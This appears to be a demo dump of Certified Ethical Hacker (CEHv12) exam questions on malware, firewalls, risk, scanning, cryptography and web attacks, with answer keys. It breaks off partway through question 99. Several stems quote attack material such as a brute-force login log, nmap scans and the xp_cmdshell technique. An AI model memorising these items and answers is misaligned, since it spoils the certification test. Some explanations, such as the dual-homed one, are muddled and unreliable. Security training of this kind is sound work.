Vendor: EC-Council

Exam Code: 312-50v12

Exam Name: Certified Ethical Hacker Exam (CEHv12)

Version: Demo

Topic 1, Background

QUESTION NO: 1

Which of the following is a hardware requirement that either an IDS/IPS system or a proxy server must have in order to properly function?

A.
Fast processor to help with network traffic analysis

B.
They must be dual-homed

C.
Similar RAM requirements

D.
Fast network interface cards

Answer: B

Explanation:
Dual-homed or dual-homing can refer to either an Ethernet device that has more than one network interface, for redundancy purposes, or in firewall technology, dual-homed is one of the firewall architectures, such as an IDS/IPS system, for implementing preventive security.

References: https://en.wikipedia.org/wiki/Dual-homed

QUESTION NO: 2

Which of the following is an application that requires a host application for replication?

A.
Micro

B.
Worm

C.
Trojan

D.
Virus

Answer: D

Explanation:

Computer viruses infect a variety of different subsystems on their hosts. A computer virus is a malware that, when executed, replicates by reproducing it self or infecting other programs by modifying them. Infecting computer programs can include as well, data files, or the boot sector of the hard drive. When this replication succeeds, the affected areas are then said to be "infected".

References: https://en.wikipedia.org/wiki/Computer_virus

QUESTION NO: 3

A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how an attacker could circumvent perimeter defenses and gain access to the corporate network. What tool should the analyst use to perform a Blackjacking attack?

A.
Paros Proxy

B.
BBProxy

C.
BBCrack

D.
Blooover

Answer: B

Explanation:

Blackberry users warned of hacking tool threat.

Users have been warned that the security of Blackberry wireless e-mail devices is at risk due to the availability this week of a new hacking tool. Secure Computing Corporation said businesses that have installed Blackberry servers behind their gateway security devices could be vulnerable to a hacking attack from a tool call BBProxy.

References: http://www.computerweekly.com/news/2240062112/Technology-news-in-brief

QUESTION NO: 4

Which of the following can the administrator do to verify that a tape backup can be recovered in its entirety?

A.
Restore a random file.

B.
Perform a full restore.

C.
Read the first 512 bytes of the tape.

D.
Read the last 512 bytes of the tape.

Answer: B

Explanation:
A full restore is required.

QUESTION NO: 5

Which of the following describes the characteristics of a Boot Sector Virus?

A.
Moves the MBR to another location on the RAM and copies itself to the original location of the MBR

B.
Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR

C.
Modifies directory table entries so that directory entries point to the virus code instead of the actual program

D.
Overwrites the original MBR and only executes the new virus code

Answer: B

Explanation:
A boot sector virus is a computer virus that infects a storage device's master boot record (MBR).

The virus moves the boot sector to another location on the hard drive.

References: https://www.techopedia.com/definition/26655/boot-sector-virus

QUESTION NO: 6

Which statement is TRUE regarding network firewalls preventing Web Application attacks?

A.
Network firewalls can prevent attacks because they can detect malicious HTTP traffic.

B.
Network firewalls cannot prevent attacks because ports 80 and 443 must be opened.

C.
Network firewalls can prevent attacks if they are properly configured.

D.
Network firewalls cannot prevent attacks because they are too complex to configure.

Answer: B

Explanation:
Network layer firewalls, also called packet filters, operate at a relatively low level of the TCP/IP protocol stack, not allowing packets to pass through the firewall unless they match the established rule set. To prevent Web Application attacks an Application layer firewall would be required.

References: https://en.wikipedia.org/wiki/Firewall_(computing)#Network_layer_or_packet_filters

QUESTION NO: 7

Which of the following programs is usually targeted at Microsoft Office products?

A.
Polymorphic virus

B.
Multipart virus

C.

Macro virus

D.
Stealth virus

Answer: C

Explanation:
A macro virus is a virus that is written in a macro language: a programming language which is embedded inside a software application (e.g., word processors and spreadsheet applications). Some applications, such as Microsoft Office, allow macro programs to be embedded in documents such that the macros are run automatically when the document is opened, and this provides a distinct mechanism by which malicious computer instructions can spread.

References: https://en.wikipedia.org/wiki/Macro_virus

QUESTION NO: 8

Bluetooth uses which digital modulation technique to exchange information between paired devices?

A.
PSK (phase-shift keying)

B.
FSK (frequency-shift keying)

C.
ASK (amplitude-shift keying)

D.
QAM (quadrature amplitude modulation)

Answer: A

Explanation:
Phase shift keying is the form of Bluetooth modulation used to enable the higher data rates achievable with Bluetooth 2 EDR (Enhanced Data Rate). Two forms of PSK are used: /4 DQPSK, and 8DPSK.

References: http://www.radio-electronics.com/info/wireless/bluetooth/radio-interface-modulation.php

QUESTION NO: 9

In order to show improvement of security over time, what must be developed?

A.
Reports

B.
Testing tools

C.
Metrics

D.
Taxonomy of vulnerabilities

Answer: C

Explanation:
Today, management demands metrics to get a clearer view of security.

Metrics that measure participation, effectiveness, and window of exposure, however, offer information the organization can use to make plans and improve programs.

References: http://www.infoworld.com/article/2974642/security/4-security-metrics-that-matter.html

Topic 2, Analysis/Assessment

QUESTION NO: 10

Passive reconnaissance involves collecting information through which of the following?

A.
Social engineering

B.
Network traffic sniffing

C.
Man in the middle attacks

D.

Publicly accessible sources

Answer: D

Explanation:

QUESTION NO: 11

How can rainbow tables be defeated?

A.
Password salting

B.
Use of non-dictionary words

C.
All uppercase character passwords

D.
Lockout accounts under brute force password cracking attempts

Answer: A

Explanation:

QUESTION NO: 12

The following is a sample of output from a penetration tester's machine targeting a machine with the IP address of 192.168.1.106:

```
[ATTEMPT] target 192.168.1.106 - login "root" - pass "a" 1 of 20
[ATTEMPT] target 192.168.1.106 - login "root" - pass "123" 2 of 20
[ATTEMPT] target 192.168.1.106 - login "testuser" - pass "a" 3 of 20
[ATTEMPT] target 192.168.1.106 - login "testuser" - pass "123" 4 of 20
[ATTEMPT] target 192.168.1.106 - login "admin" - pass "a" 5 of 20
[ATTEMPT] target 192.168.1.106 - login "admin" - pass "123" 6 of 20
[ATTEMPT] target 192.168.1.106 - login "" - pass "a" 7 of 20
[ATTEMPT] target 192.168.1.106 - login "" - pass "123" 8 of 20
```

What is most likely taking place?

A.

Ping sweep of the 192.168.1.106 network

B.
Remote service brute force attempt

C.
Port scan of 192.168.1.106

D.
Denial of service attack on 192.168.1.106

Answer: B
Explanation:

QUESTION NO: 13

An NMAP scan of a server shows port 25 is open. What risk could this pose?

A.
Open printer sharing

B.
Web portal data leak

C.
Clear text authentication

D.
Active mail relay

Answer: D
Explanation:

QUESTION NO: 14

A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that were confusing in concluding the Operating System (OS) version installed. Considering the NMAP result below, which of the following is likely to be installed on the target machine by the OS?

Starting NMAP 5.21 at 2011-03-15 11:06

NMAP scan report for 172.16.40.65

Host is up (1.00s latency).

Not shown: 993 closed ports

PORT STATE SERVICE

21/tcp open ftp

23/tcp open telnet

80/tcp open http

139/tcp open netbios-ssn

515/tcp open

631/tcp open ipp

9100/tcp open

MAC Address: 00:00:48:0D:EE:89

A.
The host is likely a Windows machine.

B.
The host is likely a Linux machine.

C.
The host is likely a router.

D.
The host is likely a printer.

Answer: D
Explanation:

QUESTION NO: 15

What type of OS fingerprinting technique sends specially crafted packets to the remote OS and analyzes the received response?

A.
Passive

B.
Reflective

C.
Active

D.
Distributive

Answer: C
Explanation:

QUESTION NO: 16

Which of the following lists are valid data-gathering activities associated with a risk assessment?

A.
Threat identification, vulnerability identification, control analysis

B.
Threat identification, response identification, mitigation identification

C.
Attack profile, defense profile, loss profile

D.
System profile, vulnerability identification, security determination

Answer: A
Explanation:

QUESTION NO: 17

A penetration tester is hired to do a risk assessment of a company's DMZ. The rules of engagement states that the penetration test be done from an external IP address with no prior knowledge of the internal IT systems. What kind of test is being performed?

A.
white box

B.

grey box

C.
red box

D.
black box

Answer: D
Explanation:

QUESTION NO: 18

Which of the following is a detective control?

A.
Smart card authentication

B.
Security policy

C.
Audit trail

D.
Continuity of operations plan

Answer: C
Explanation:

QUESTION NO: 19

Which of the following is a component of a risk assessment?

A.
Physical security

B.
Administrative safeguards

C.

DMZ

D.
Logical interface

Answer: B
Explanation:

QUESTION NO: 20

When utilizing technical assessment methods to assess the security posture of a network, which of the following techniques would be most effective in determining whether end-user security training would be beneficial?

A.
Vulnerability scanning

B.
Social engineering

C.
Application security testing

D.
Network sniffing

Answer: B
Explanation:

QUESTION NO: 21

A company has publicly hosted web applications and an internal Intranet protected by a firewall. Which technique will help protect against enumeration?

A.
Reject all invalid email received via SMTP.

B.
Allow full DNS zone transfers.

C.

Remove A records for internal hosts.

D.
Enable null session pipes.

Answer: C
Explanation:

QUESTION NO: 22

Which of the following techniques will identify if computer files have been changed?

A.
Network sniffing

B.
Permission sets

C.
Integrity checking hashes

D.
Firewall alerts

Answer: C
Explanation:

QUESTION NO: 23

Which system consists of a publicly available set of databases that contain domain name registration contact information?

A.
WHOIS

B.
IANA

C.
CAPTCHA

D.
IETF

Answer: A
Explanation:

QUESTION NO: 24

A penetration tester was hired to perform a penetration test for a bank. The tester began searching for IP ranges owned by the bank, performing lookups on the bank's DNS servers, reading news articles online about the bank, watching what times the bank employees come into work and leave from work, searching the bank's job postings (paying special attention to IT related jobs), and visiting the local dumpster for the bank's corporate office. What phase of the penetration test is the tester currently in?

A.
Information reporting

B.
Vulnerability assessment

C.
Active information gathering

D.
Passive information gathering

Answer: D
Explanation:

QUESTION NO: 25

The following is part of a log file taken from the machine on the network with the IP address of 192.168.1.106:

Time:Mar 13 17:30:15 Port:20 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:17 Port:21 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:19 Port:22 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:21 Port:23 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:22 Port:25 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:23 Port:80 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:30 Port:443 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

What type of activity has been logged?

A.
Port scan targeting 192.168.1.103

B.
Teardrop attack targeting 192.168.1.106

C.
Denial of service attack targeting 192.168.1.103

D.
Port scan targeting 192.168.1.106

Answer: D
Explanation:

QUESTION NO: 26

A Security Engineer at a medium-sized accounting firm has been tasked with discovering how much information can be obtained from the firm's public facing web servers. The engineer decides to start by using netcat to port 80.

The engineer receives this output:

HTTP/1.1 200 OK

Server: Microsoft-IIS/6

Expires: Tue, 17 Jan 2011 01:41:33 GMT

Date: Mon, 16 Jan 2011 01:41:33 GMT

Content-Type: text/html

Accept-Ranges: bytes

Last-Modified: Wed, 28 Dec 2010 15:32:21 GMT

ETag: "b0aac0542e25c31:89d"

Content-Length: 7369

Which of the following is an example of what the engineer performed?

A.
Cross-site scripting

B.
Banner grabbing

C.
SQL injection

D.
Whois database query

Answer: B

Explanation:

QUESTION NO: 27

An NMAP scan of a server shows port 69 is open. What risk could this pose?

A.
Unauthenticated access

B.
Weak SSL version

C.
Cleartext login

D.
Web portal data leak

Answer: A

Explanation:

QUESTION NO: 28

What information should an IT system analysis provide to the risk assessor?

A.
Management buy-in

B.
Threat statement

C.
Security architecture

D.
Impact analysis

Answer: C
Explanation:

QUESTION NO: 29

Which results will be returned with the following Google search query?

site:target.com -site:Marketing.target.com accounting

A.
Results matching all words in the query

B.
Results matching “accounting” in domain target.com but not on the site Marketing.target.com

C.
Results from matches on the site marketing.target.com that are in the domain target.com but do not include the word accounting

D.
Results for matches on target.com and Marketing.target.com that include the word “accounting”

Answer: B
Explanation:

QUESTION NO: 30

A bank stores and processes sensitive privacy information related to home loans. However, auditing has never been enabled on the system. What is the first step that the bank should take before enabling the audit feature?

A.
Perform a vulnerability scan of the system.

B.
Determine the impact of enabling the audit feature.

C.
Perform a cost/benefit analysis of the audit feature.

D.
Allocate funds for staffing of audit log review.

Answer: B
Explanation:

QUESTION NO: 31

Which of the following is a preventive control?

A.
Smart card authentication

B.
Security policy

C.
Audit trail

D.
Continuity of operations plan

Answer: A
Explanation:

QUESTION NO: 32

Which of the following is considered an acceptable option when managing a risk?

A.
Reject the risk.

B.
Deny the risk.

C.
Mitigate the risk.

D.
Initiate the risk.

Answer: C
Explanation:

QUESTION NO: 33

Which security control role does encryption meet?

A.
Preventative

B.
Detective

C.
Offensive

D.
Defensive

Answer: A
Explanation:

QUESTION NO: 34

A covert channel is a channel that

A.
transfers information over, within a computer system, or network that is outside of the security policy.

B.
transfers information over, within a computer system, or network that is within the security policy.

C.
transfers information via a communication path within a computer system, or network for transfer of data.

D.
transfers information over, within a computer system, or network that is encrypted.

Answer: A
Explanation:

QUESTION NO: 35

John the Ripper is a technical assessment tool used to test the weakness of which of the following?

A.
Usernames

B.
File permissions

C.
Firewall rulesets

D.
Passwords

Answer: D
Explanation:

QUESTION NO: 36

Least privilege is a security concept that requires that a user is

A.
limited to those functions required to do the job.

B.

given root or administrative privileges.

C.
trusted to keep all data and access to that data under their sole control.

D.
given privileges equal to everyone else in the department.

Answer: A
Explanation:

QUESTION NO: 37

If the final set of security controls does not eliminate all risk in a system, what could be done next?

A.
Continue to apply controls until there is zero risk.

B.
Ignore any remaining risk.

C.
If the residual risk is low enough, it can be accepted.

D.
Remove current controls since they are not completely effective.

Answer: C
Explanation:

QUESTION NO: 38

What is one thing a tester can do to ensure that the software is trusted and is not changing or tampering with critical data on the back end of a system it is loaded on?

A.
Proper testing

B.
Secure coding principles

C.
Systems security and architecture review

D.
Analysis of interrupts within the software

Answer: D
Explanation:

Topic 3, Security

QUESTION NO: 39

Which of the following examples best represents a logical or technical control?

A.
Security tokens

B.
Heating and air conditioning

C.
Smoke and fire alarms

D.
Corporate security policy

Answer: A
Explanation:

QUESTION NO: 40

Which type of access control is used on a router or firewall to limit network activity?

A.
Mandatory

B.
Discretionary

C.

Rule-based

D.
Role-based

Answer: C
Explanation:

QUESTION NO: 41

At a Windows Server command prompt, which command could be used to list the running services?

A.
Sc query type= running

B.
Sc query \\servername

C.
Sc query

D.
Sc config

Answer: C
Explanation:

QUESTION NO: 42

Windows file servers commonly hold sensitive files, databases, passwords and more. Which of the following choices would be a common vulnerability that usually exposes them?

A.
Cross-site scripting

B.
SQL injection

C.
Missing patches

D.
CRLF injection

Answer: C
Explanation:

QUESTION NO: 43

While conducting a penetration test, the tester determines that there is a firewall between the tester's machine and the target machine. The firewall is only monitoring TCP handshaking of packets at the session layer of the OSI model. Which type of firewall is the tester trying to traverse?

A.
Packet filtering firewall

B.
Application-level firewall

C.
Circuit-level gateway firewall

D.
Stateful multilayer inspection firewall

Answer: C
Explanation:

QUESTION NO: 44

A company firewall engineer has configured a new DMZ to allow public systems to be located away from the internal network. The engineer has three security zones set:

Untrust (Internet) – (Remote network = 217.77.88.0/24)

DMZ (DMZ) – (11.12.13.0/24)

Trust (Intranet) – (192.168.0.0/24)

The engineer wants to configure remote desktop access from a fixed IP on the remote network to

a remote desktop server in the DMZ. Which rule would best fit this requirement?

A.
Permit 217.77.88.0/24 11.12.13.0/24 RDP 3389

B.
Permit 217.77.88.12 11.12.13.50 RDP 3389

C.
Permit 217.77.88.12 11.12.13.0/24 RDP 3389

D.
Permit 217.77.88.0/24 11.12.13.50 RDP 3389

Answer: B
Explanation:

QUESTION NO: 45

A circuit level gateway works at which of the following layers of the OSI Model?

A.
Layer 5 - Application

B.
Layer 4 – TCP

C.
Layer 3 – Internet protocol

D.
Layer 2 – Data link

Answer: B
Explanation:

QUESTION NO: 46

Which of the following is a symmetric cryptographic standard?

A.

DSA

B.
PKI

C.
RSA

D.
3DES

Answer: D
Explanation:

QUESTION NO: 47

A computer science student needs to fill some information into a secured Adobe PDF job application that was received from a prospective employer. Instead of requesting a new document that allowed the forms to be completed, the student decides to write a script that pulls passwords from a list of commonly used passwords to try against the secured PDF until the correct password is found or the list is exhausted.

Which cryptography attack is the student attempting?

A.
Man-in-the-middle attack

B.
Brute-force attack

C.
Dictionary attack

D.
Session hijacking

Answer: C
Explanation:

QUESTION NO: 48

Which property ensures that a hash function will not produce the same hashed value for two different messages?

A.
Collision resistance

B.
Bit length

C.
Key strength

D.
Entropy

Answer: A

Explanation:

QUESTION NO: 49

How can telnet be used to fingerprint a web server?

A.
telnet webserverAddress 80

HEAD / HTTP/1.0

B.
telnet webserverAddress 80

PUT / HTTP/1.0

C.
telnet webserverAddress 80

HEAD / HTTP/2.0

D.
telnet webserverAddress 80

PUT / HTTP/2.0

Answer: A

Explanation:

QUESTION NO: 50

Low humidity in a data center can cause which of the following problems?

A.
Heat

B.
Corrosion

C.
Static electricity

D.
Airborne contamination

Answer: C
Explanation:

QUESTION NO: 51

A consultant is hired to do physical penetration testing at a large financial company. In the first day of his assessment, the consultant goes to the company`s building dressed like an electrician and waits in the lobby for an employee to pass through the main access gate, then the consultant follows the employee behind to get into the restricted area. Which type of attack did the consultant perform?

A.
Man trap

B.
Tailgating

C.
Shoulder surfing

D.
Social engineering

Answer: B
Explanation:

QUESTION NO: 52

When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's computer to update the router configuration. What type of an alert is this?

A.
False positive

B.
False negative

C.
True positve

D.
True negative

Answer: A
Explanation:

QUESTION NO: 53

While performing data validation of web content, a security technician is required to restrict malicious input. Which of the following processes is an efficient way of restricting malicious input?

A.
Validate web content input for query strings.

B.
Validate web content input with scanning tools.

C.
Validate web content input for type, length, and range.

D.
Validate web content input for extraneous queries.

Answer: C
Explanation:

QUESTION NO: 54

A security consultant decides to use multiple layers of anti-virus defense, such as end user desktop anti-virus and E-mail gateway. This approach can be used to mitigate which kind of attack?

A.
Forensic attack

B.
ARP spoofing attack

C.
Social engineering attack

D.
Scanning attack

Answer: C
Explanation:

QUESTION NO: 55

Which of the following resources does NMAP need to be used as a basic vulnerability scanner covering several vectors like SMB, HTTP and FTP?

A.
Metasploit scripting engine

B.
Nessus scripting engine

C.
NMAP scripting engine

D.
SAINT scripting engine

Answer: C
Explanation:

QUESTION NO: 56

Which of the following scanning tools is specifically designed to find potential exploits in Microsoft Windows products?

A.
Microsoft Security Baseline Analyzer

B.
Retina

C.
Core Impact

D.
Microsoft Baseline Security Analyzer

Answer: D
Explanation:

QUESTION NO: 57

A security analyst is performing an audit on the network to determine if there are any deviations from the security policies in place. The analyst discovers that a user from the IT department had a dial-out modem installed. Which security policy must the security analyst check to see if dial-out modems are allowed?

A.
Firewall-management policy

B.
Acceptable-use policy

C.
Remote-access policy

D.
Permissive policy

Answer: C
Explanation:

QUESTION NO: 58

When creating a security program, which approach would be used if senior management is supporting and enforcing the security policy?

A.
A bottom-up approach

B.
A top-down approach

C.
A senior creation approach

D.
An IT assurance approach

Answer: B
Explanation:

QUESTION NO: 59

Which of the following processes evaluates the adherence of an organization to its stated security policy?

A.
Vulnerability assessment

B.
Penetration testing

C.
Risk assessment

D.
Security auditing

Answer: D
Explanation:

QUESTION NO: 60

A security consultant is trying to bid on a large contract that involves penetration testing and reporting. The company accepting bids wants proof of work so the consultant prints out several audits that have been performed. Which of the following is likely to occur as a result?

A.
The consultant will ask for money on the bid because of great work.

B.
The consultant may expose vulnerabilities of other companies.

C.
The company accepting bids will want the same type of format of testing.

D.
The company accepting bids will hire the consultant because of the great work performed.

Answer: B
Explanation:

QUESTION NO: 61

Which type of scan is used on the eye to measure the layer of blood vessels?

A.
Facial recognition scan

B.
Retinal scan

C.
Iris scan

D.
Signature kinetics scan

Answer: B
Explanation:

QUESTION NO: 62

What is the main reason the use of a stored biometric is vulnerable to an attack?

A.
The digital representation of the biometric might not be unique, even if the physical characteristic is unique.

B.
Authentication using a stored biometric compares a copy to a copy instead of the original to a copy.

C.
A stored biometric is no longer "something you are" and instead becomes "something you have".

D.
A stored biometric can be stolen and used by an attacker to impersonate the individual identified by the biometric.

Answer: D
Explanation:

QUESTION NO: 63

During a wireless penetration test, a tester detects an access point using WPA2 encryption. Which of the following attacks should be used to obtain the key?

A.
The tester must capture the WPA2 authentication handshake and then crack it.

B.
The tester must use the tool inSSIDer to crack it using the ESSID of the network.

C.
The tester cannot crack WPA2 because it is in full compliance with the IEEE 802.11i standard.

D.
The tester must change the MAC address of the wireless network card and then use the AirTraf tool to obtain the key.

Answer: A
Explanation:

QUESTION NO: 64

Which type of antenna is used in wireless communication?

A.
Omnidirectional

B.
Parabolic

C.
Uni-directional

D.
Bi-directional

Answer: A
Explanation:

QUESTION NO: 65

What is the name of the international standard that establishes a baseline level of confidence in the security functionality of IT products by providing a set of requirements for evaluation?

A.
Blue Book

B.
ISO 26029

C.
Common Criteria

D.
The Wassenaar Agreement

Answer: C
Explanation:

QUESTION NO: 66

One way to defeat a multi-level security solution is to leak data via

A.
a bypass regulator.

B.
steganography.

C.
a covert channel.

D.
asymmetric routing.

Answer: C
Explanation:

QUESTION NO: 67

Which of the following conditions must be given to allow a tester to exploit a Cross-Site Request Forgery (CSRF) vulnerable web application?

A.
The victim user must open the malicious link with an Internet Explorer prior to version 8.

B.
The session cookies generated by the application do not have the HttpOnly flag set.

C.
The victim user must open the malicious link with a Firefox prior to version 3.

D.
The web application should not use random tokens.

Answer: D
Explanation:

QUESTION NO: 68

What is the main difference between a “Normal” SQL Injection and a “Blind” SQL Injection vulnerability?

A.
The request to the web server is not visible to the administrator of the vulnerable application.

B.
The attack is called “Blind” because, although the application properly filters user input, it is still vulnerable to code injection.

C.
The successful attack does not show an error message to the administrator of the affected application.

D.
The vulnerable application does not display errors with information about the injection results to the attacker.

Answer: D

Explanation:

QUESTION NO: 69

During a penetration test, a tester finds a target that is running MS SQL 2000 with default credentials. The tester assumes that the service is running with Local System account. How can this weakness be exploited to access the system?

A.
Using the Metasploit psexec module setting the SA / Admin credential

B.
Invoking the stored procedure xp_shell to spawn a Windows command shell

C.
Invoking the stored procedure cmd_shell to spawn a Windows command shell

D.
Invoking the stored procedure xp_cmdshell to spawn a Windows command shell

Answer: D

Explanation:

QUESTION NO: 70

The precaution of prohibiting employees from bringing personal computing devices into a facility is

what type of security control?

A.
Physical

B.
Procedural

C.
Technical

D.
Compliance

Answer: B

Explanation:

QUESTION NO: 71

A pentester gains access to a Windows application server and needs to determine the settings of the built-in Windows firewall. Which command would be used?

A.
Netsh firewall show config

B.
WMIC firewall show config

C.
Net firewall show config

D.
Ipconfig firewall show config

Answer: A

Explanation:

QUESTION NO: 72

Which of the following types of firewall inspects only header information in network traffic?

A.
Packet filter

B.
Stateful inspection

C.
Circuit-level gateway

D.
Application-level gateway

Answer: A
Explanation:

QUESTION NO: 73

During a penetration test, the tester conducts an ACK scan using NMAP against the external interface of the DMZ firewall. NMAP reports that port 80 is unfiltered. Based on this response, which type of packet inspection is the firewall conducting?

A.
Host

B.
Stateful

C.
Stateless

D.
Application

Answer: C
Explanation:

QUESTION NO: 74

Firewalk has just completed the second phase (the scanning phase) and a technician receives the output shown below. What conclusions can be drawn based on these scan results?

TCP port 21 – no response

TCP port 22 – no response

TCP port 23 – Time-to-live exceeded

A.
The firewall itself is blocking ports 21 through 23 and a service is listening on port 23 of the target host.

B.
The lack of response from ports 21 and 22 indicate that those services are not running on the destination server.

C.
The scan on port 23 passed through the filtering device. This indicates that port 23 was not blocked at the firewall.

D.
The scan on port 23 was able to make a connection to the destination host prompting the firewall to respond with a TTL error.

Answer: C
Explanation:

QUESTION NO: 75

Which of the following is an example of an asymmetric encryption implementation?

A.
SHA1

B.
PGP

C.
3DES

D.
MD5

Answer: B
Explanation:

QUESTION NO: 76

A hacker was able to sniff packets on a company's wireless network. The following information was discovered:

The Key 10110010 01001011

The Cyphertext 01100101 01011010

Using the Exlcusive OR, what was the original message?

A.
00101000 11101110

B.
11010111 00010001

C.
00001101 10100100

D.
11110010 01011011

Answer: B
Explanation:

QUESTION NO: 77

Which of the following cryptography attack methods is usually performed without the use of a computer?

A.
Ciphertext-only attack

B.
Chosen key attack

C.
Rubber hose attack

D.
Rainbow table attack

Answer: C
Explanation:

QUESTION NO: 78

Which of the following is a strong post designed to stop a car?

A.
Gate

B.
Fence

C.
Bollard

D.
Reinforced rebar

Answer: C
Explanation:

QUESTION NO: 79

A Network Administrator was recently promoted to Chief Security Officer at a local university. One of employee's new responsibilities is to manage the implementation of an RFID card access system to a new server room on campus. The server room will house student enrollment information that is securely backed up to an off-site location.

During a meeting with an outside consultant, the Chief Security Officer explains that he is concerned that the existing security controls have not been designed properly. Currently, the Network Administrator is responsible for approving and issuing RFID card access to the server room, as well as reviewing the electronic access logs on a weekly basis.

Which of the following is an issue with the situation?

A.
Segregation of duties

B.

Undue influence

C.
Lack of experience

D.
Inadequate disaster recovery plan

Answer: A
Explanation:

QUESTION NO: 80

What is the most secure way to mitigate the theft of corporate information from a laptop that was left in a hotel room?

A.
Set a BIOS password.

B.
Encrypt the data on the hard drive.

C.
Use a strong logon password to the operating system.

D.
Back up everything on the laptop and store the backup in a safe place.

Answer: B
Explanation:

QUESTION NO: 81

In the software security development life cycle process, threat modeling occurs in which phase?

A.
Design

B.
Requirements

C.
Verification

D.
Implementation

Answer: A
Explanation:

QUESTION NO: 82

A network administrator received an administrative alert at 3:00 a.m. from the intrusion detection system. The alert was generated because a large number of packets were coming into the network over ports 20 and 21. During analysis, there were no signs of attack on the FTP servers. How should the administrator classify this situation?

A.
True negatives

B.
False negatives

C.
True positives

D.
False positives

Answer: D
Explanation:

QUESTION NO: 83

Which of the following techniques does a vulnerability scanner use in order to detect a vulnerability on a target service?

A.
Port scanning

B.
Banner grabbing

C.
Injecting arbitrary data

D.
Analyzing service response

Answer: D
Explanation:

QUESTION NO: 84

Which of the following business challenges could be solved by using a vulnerability scanner?

A.
Auditors want to discover if all systems are following a standard naming convention.

B.
A web server was compromised and management needs to know if any further systems were compromised.

C.
There is an emergency need to remove administrator access from multiple machines for an employee that quit.

D.
There is a monthly requirement to test corporate compliance with host application usage and security policies.

Answer: D
Explanation:

QUESTION NO: 85

A security policy will be more accepted by employees if it is consistent and has the support of

A.
coworkers.

B.
executive management.

C.
the security officer.

D.
a supervisor.

Answer: B
Explanation:

QUESTION NO: 86

A company has hired a security administrator to maintain and administer Linux and Windows-based systems. Written in the nightly report file is the following:

Firewall log files are at the expected value of 4 MB. The current time is 12am. Exactly two hours later the size has decreased considerably. Another hour goes by and the log files have shrunk in size again.

Which of the following actions should the security administrator take?

A.
Log the event as suspicious activity and report this behavior to the incident response team immediately.

B.
Log the event as suspicious activity, call a manager, and report this as soon as possible.

C.
Run an anti-virus scan because it is likely the system is infected by malware.

D.
Log the event as suspicious activity, continue to investigate, and act according to the site's security policy.

Answer: D
Explanation:

QUESTION NO: 87

Which type of scan measures a person's external features through a digital video camera?

A.
Iris scan

B.
Retinal scan

C.
Facial recognition scan

D.
Signature kinetics scan

Answer: C
Explanation:

QUESTION NO: 88

WPA2 uses AES for wireless data encryption at which of the following encryption levels?

A.
64 bit and CCMP

B.
128 bit and CRC

C.
128 bit and CCMP

D.
128 bit and TKIP

Answer: C
Explanation:

QUESTION NO: 89

An attacker uses a communication channel within an operating system that is neither designed nor intended to transfer information. What is the name of the communications channel?

A.
Classified

B.
Overt

C.
Encrypted

D.
Covert

Answer: D
Explanation:

QUESTION NO: 90

What technique is used to perform a Connection Stream Parameter Pollution (CSPP) attack?

A.
Injecting parameters into a connection string using semicolons as a separator

B.
Inserting malicious Javascript code into input parameters

C.
Setting a user's session identifier (SID) to an explicit known value

D.
Adding multiple parameters with the same name in HTTP requests

Answer: A
Explanation:

QUESTION NO: 91

A newly discovered flaw in a software application would be considered which kind of security vulnerability?

A.
Input validation flaw

B.
HTTP header injection vulnerability

C.
0-day vulnerability

D.
Time-to-check to time-to-use flaw

Answer: C
Explanation:

QUESTION NO: 92

During a penetration test, a tester finds that the web application being analyzed is vulnerable to Cross Site Scripting (XSS). Which of the following conditions must be met to exploit this vulnerability?

A.
The web application does not have the secure flag set.

B.
The session cookies do not have the HttpOnly flag set.

C.
The victim user should not have an endpoint security solution.

D.
The victim's browser must have ActiveX technology enabled.

Answer: B
Explanation:

QUESTION NO: 93

The use of alert thresholding in an IDS can reduce the volume of repeated alerts, but introduces which of the following vulnerabilities?

A.
An attacker, working slowly enough, can evade detection by the IDS.

B.
Network packets are dropped if the volume exceeds the threshold.

C.
Thresholding interferes with the IDS' ability to reassemble fragmented packets.

D.
The IDS will not distinguish among packets originating from different sources.

Answer: A
Explanation:

QUESTION NO: 94

What is the main advantage that a network-based IDS/IPS system has over a host-based solution?

A.
They do not use host system resources.

B.
They are placed at the boundary, allowing them to inspect all traffic.

C.
They are easier to install and configure.

D.
They will not interfere with user interfaces.

Answer: A
Explanation:

QUESTION NO: 95

The network administrator for a company is setting up a website with e-commerce capabilities. Packet sniffing is a concern because credit card information will be sent electronically over the Internet. Customers visiting the site will need to encrypt the data with HTTPS. Which type of certificate is used to encrypt and decrypt the data?

A.
Asymmetric

B.
Confidential

C.
Symmetric

D.
Non-confidential

Answer: A
Explanation:

Topic 4, Tools /Systems /Programs

QUESTION NO: 96

When an alert rule is matched in a network-based IDS like snort, the IDS does which of the following?

A.
Drops the packet and moves on to the next one

B.
Continues to evaluate the packet until all rules are checked

C.
Stops checking rules, sends an alert, and lets the packet continue

D.
Blocks the connection with the source IP address in the packet

Answer: B
Explanation:

QUESTION NO: 97

Which type of intrusion detection system can monitor and alert on attacks, but cannot stop them?

A.
Detective

B.
Passive

C.
Intuitive

D.
Reactive

Answer: B
Explanation:

QUESTION NO: 98

An organization hires a tester to do a wireless penetration test. Previous reports indicate that the last test did not contain management or control packets in the submitted traces. Which of the following is the most likely reason for lack of management or control packets?

A.
The wireless card was not turned on.

B.
The wrong network card drivers were in use by Wireshark.

C.
On Linux and Mac OS X, only 802.11 headers are received in promiscuous mode.

D.
Certain operating systems and adapters do not collect the management or control packets.

Answer: D
Explanation:

QUESTION NO: 99

From the two screenshots below, which of the following is occurring?

First one:

1 [10.0.0.253]# nmap -sP 10.0.0.0/24

2

3 Starting Nmap

5 Host 10.0.0.1 appears to be up.

6 MAC Address: 00:09:5B:29:FD:96 (Netgear)

7 Host 10.0.0.2 appears to be up.

8 MAC Address: 00:0F:B5:96:38:5D (Netgear)

9 Host 10.0.0.4 appears to be up.

10 Host 10.0.0.5 appears to be up.

